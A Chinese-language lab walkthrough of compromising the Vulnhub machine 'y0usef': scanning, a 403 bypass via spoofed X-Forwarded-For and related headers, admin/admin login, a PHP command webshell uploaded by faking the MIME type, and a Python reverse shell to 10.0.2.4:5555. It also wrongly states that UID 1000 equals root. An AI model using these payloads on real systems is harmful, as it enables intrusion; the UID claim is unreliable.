y0usef
一、主机发现
靶机地址:https://download.vulnhub.com/y0usef/y0usef.ova
直接arp探测,发现靶机ip
arp-scan -l |
二、端口扫描
确认靶机ip后,对靶机进行端口扫描,查看开放端口,获取突破口
nmap -p- 10.0.2.11 |
发现主机80端口和22端口开放
根据nmap知道80端口为web服务,直接访问web页面,查看有没有突破口
发现网站正在建设中,页面没有任何有用信息,查看一下源代码,也没有发现任何有用的信息。
三、指纹收集
使用whatweb,对网站进行指纹收集
whatweb详细介绍:
Web 扫描神器:WhatWeb 保姆级教程(附链接)-CSDN博客
whatweb http://10.0.2.11/ |
发现相关信息,但是没用上
四、目录扫描
对网站进行目录扫描,看看有没有后台或者未授权访问什么的
dirsearch -u 10.0.2.11 |
发现就一个adminstration页面是301重定向,其他页面都是403禁止访问
访问adminstration页面,发现也是403禁止访问
http://10.0.2.11/adminstration/ |
五、403绕过
5.1、旁站绕过
管理员只对www.abc.com下的auth/login页面进行限制,
没有对其他子域名进行限制,更改hosts进行绕过
5.2、URL覆盖绕过
有些限制只是针对某个具体的url地址,进行403限制,如果请求的是根路径,添加X-Original-Url或者X-Rewrite-Url进行写入url
5.3、refer绕过
当请求服务器时,服务器访问根路径,在访问根路径之前,已经在一个需要授权才能访问的路径,如果服务器检验是通过一个已经授权的url路径时,会觉得你已经是经过身份认证的用户时,就可能绕过
5.4、反向代理绕过
X-Originating-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Forwarded-For:127.0.0.1
让服务器误认为是自己访问,从而进行绕过
5.5、靶机403绕过
将上面方式尝试一圈后,发现X-Forwarded-For方式可以成功绕过
切记在下面测试过程中,每个页面都要加上:X-Forwarded-For:127.0.0.1
切记在下面测试过程中,每个页面都要加上:X-Forwarded-For:127.0.0.1
切记在下面测试过程中,每个页面都要加上:X-Forwarded-For:127.0.0.1
X-Forwarded-For:127.0.0.1 |
六、弱口令登录
成功进入登录页面,同样进行抓包尝试弱口令登录
admin/admin 成功登录
七、文件上传
发现登录成功后发现有个文件上传点,进行上传测试
webshell如下:
<?php $var=shell_exec($_GET['cmd']); echo $var ?> |
抓包进行上传,没做任何修改发现没有上传成功
更改一下mine,改为image/png类型
发现上传成功
成功看到上传路径,访问进行利用
发现webshell成功执行,命令能被解析执行
http://10.0.2.11/adminstration/upload/files/17199252091.php?cmd=ls |
八、反弹shell
执行python反弹shell
找到python路径
http://10.0.2.11/adminstration/upload/files/17199252091.php?cmd=which%20python |
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.4",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
成功反弹
查看用户文件,发现yousef用户可以ssh
并且该用户权限是1000,是root权限
切换到用户路径下
发现txt,赛博厨子解码一下,竟然是账号和密码
ssh : |
直接ssh登录
由于用户权限本来就是1000,所以直接切换到root权限
sudo -s |
九、总结:
打靶思路:
发现主机==》端口扫描==》指纹收集==》目录扫描==》403绕过==》文件上传==》反弹shell
成功拿下root权限,靶机不难,没有使用的内核提权那些东西。拿下普通用户后,信息搜集一下,竟然有root权限的账号和密码,省了不少劲。